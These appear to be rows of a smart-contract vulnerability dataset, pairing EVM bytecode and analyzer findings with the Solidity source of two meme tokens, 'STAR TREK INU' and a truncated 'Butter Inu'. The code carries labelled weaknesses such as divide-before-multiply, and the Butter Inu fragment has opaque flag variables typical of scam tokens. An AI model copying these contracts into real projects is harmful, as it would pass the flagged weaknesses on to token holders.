6000830185612c5c565b612ffb6020830184612c5c565b9392505050565b60006020820190506130176000830184612c6b565b92915050565b60006040820190506130326000830185612c6b565b61303f6020830184612c5c565b9392505050565b600060208201905061305b6000830184612c7a565b92915050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006130a48261320a565b91506130af8361320a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e4576130e36132c6565b5b828201905092915050565b60006130fa82613214565b915061310583613214565b92508263ffffffff0382111561311e5761311d6132c6565b5b828201905092915050565b600061313482613214565b915061313f83613214565b92508261314f5761314e6132f5565b5b828204905092915050565b60006131658261320a565b91506131708361320a565b925082821015613183576131826132c6565b5b828203905092915050565b600061319982613214565b91506131a483613214565b9250828210156131b7576131b66132c6565b5b828203905092915050565b60006131cd826131ea565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561325e578082015181840152602081019050613243565b8381111561326d576000848401525b50505050565b600061327e8261320a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b1576132b06132c6565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b61333e816131c2565b811461334957600080fd5b50565b613355816131d4565b811461336057600080fd5b50565b61336c816131e0565b811461337757600080fd5b50565b6133838161320a565b811461338e57600080fd5b50565b61339a81613214565b81146133a557600080fd5b50565b6133b181613224565b81146133bc57600080fd5b5056fe5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212202db81bec21e4058731af68f88735f917341092bf1c0a6144e16b55bf6df9b6dd64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,474 |
0x15f3f7cc07ae81c93001fae8140d6f309e2b1aba
|
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SEXYWORF is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'STAR TREK INU';
string private _symbol = 'TREKINU';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b99aa4b9a76d6b6c1fcbcd87f694f83bd165f2ac030e47623f73a4470738543764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,475 |
0x02575f296acee49ad0fe86f5958a9dd5f621813b
|
/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/*
_______ __ __ ______
/ \ / | / | / |
$$$$$$$ | __ __ _$$ |_ _$$ |_ ______ ______ $$$$$$/ _______ __ __
$$ |__$$ |/ | / |/ $$ |/ $$ | / \ / \ $$ | / \ / | / |
$$ $$< $$ | $$ |$$$$$$/ $$$$$$/ /$$$$$$ |/$$$$$$ | $$ | $$$$$$$ |$$ | $$ |
$$$$$$$ |$$ | $$ | $$ | __ $$ | __ $$ $$ |$$ | $$/ $$ | $$ | $$ |$$ | $$ |
$$ |__$$ |$$ \__$$ | $$ |/ |$$ |/ |$$$$$$$$/ $$ | _$$ |_ $$ | $$ |$$ \__$$ |
$$ $$/ $$ $$/ $$ $$/ $$ $$/ $$ |$$ | / $$ |$$ | $$ |$$ $$/
$$$$$$$/ $$$$$$/ $$$$/ $$$$/ $$$$$$$/ $$/ $$$$$$/ $$/ $$/ $$$$$$/
Butterfly? Nah! Here we only have Butter Inu!
*/
pragma solidity 0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Frames;
mapping (address => bool) private Jacket;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _LoggingTheTime;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
IDEXRouter router;
address[] private butterArray;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private Flying; uint256 private Fox;
uint256 private Wolf; bool private Camera;
bool private Chamber; bool private Terror;
uint256 private lkji;
constructor (string memory name_, string memory symbol_, address creator_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_name = name_;
_creator = creator_;
_symbol = symbol_;
Chamber = true;
Frames[creator_] = true;
Camera = true;
Terror = false;
Jacket[creator_] = false;
lkji = 0;
}
function decimals() public view virtual override returns (uint8) {
